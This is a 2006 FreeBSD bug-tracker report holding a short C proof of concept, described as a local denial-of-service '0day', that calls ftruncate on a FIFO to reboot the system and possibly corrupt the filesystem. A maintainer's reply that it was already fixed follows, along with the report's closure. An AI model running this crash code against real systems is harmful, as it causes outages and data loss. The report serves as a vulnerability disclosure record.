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Date: Tue, 24 Oct 2006 12:35:52 GMT
From: Vladimir<worms@inbox.ru>
To: freebsd-gnats-submit@FreeBSD.org
Subject: read of data 
X-Send-Pr-Version: www-3.0

>Number:         104747
>Category:       misc
>Synopsis:       read of data
>Confidential:   no
>Severity:       serious
>Priority:       high
>Responsible:    freebsd-bugs
>State:          closed
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Oct 24 12:40:15 GMT 2006
>Closed-Date:    Thu Oct 26 06:51:32 GMT 2006
>Last-Modified:  Thu Oct 26 06:51:32 GMT 2006
>Originator:     Vladimir
>Release:        5.X 6.X
>Organization:
Alpenbau
>Environment:
DDoS
>Description:
/* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC
   Log: According to POSIX, the result of ftruncate(2) is unspecified
   for file types other than VREG, VDIR and shared memory objects.
   We already handle VREG, VLNK and VDIR cases.  Silently ignore
   truncate requests for all the rest. PR kern/98064
   it out in '06 !"#%&%(20061013)(="#"!
   tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing) - it just makes the system reboot, and with a bit of luck fucks up the filesystem.   that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me    
*/

#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(){
mkfifo("lol",0x1b6);
int fd = open("lol",O_RDWR); 
ftruncate(fd,12345);
close(fd);
}



>How-To-Repeat:

>Fix:

>Release-Note:
>Audit-Trail:

From: Maxim Konovalov <maxim@macomnet.ru>
To: Vladimir <worms@inbox.ru>
Cc: bug-followup@freebsd.org
Subject: Re: misc/104747: read of data 
Date: Tue, 24 Oct 2006 16:58:02 +0400 (MSD)
 
 We fixed this bug in HEAD, RELENG_6 and therefore in upcoming
 6.2-RELEASE.  Could you please clarify your point a bit more?
 
 -- 
 Maxim Konovalov
State-Changed-From-To: open->closed 
State-Changed-By: pav 
State-Changed-When: Thu Oct 26 06:50:34 UTC 2006 
State-Changed-Why:  
Already fixed 

http://www.freebsd.org/cgi/query-pr.cgi?pr=104747 
>Unformatted:
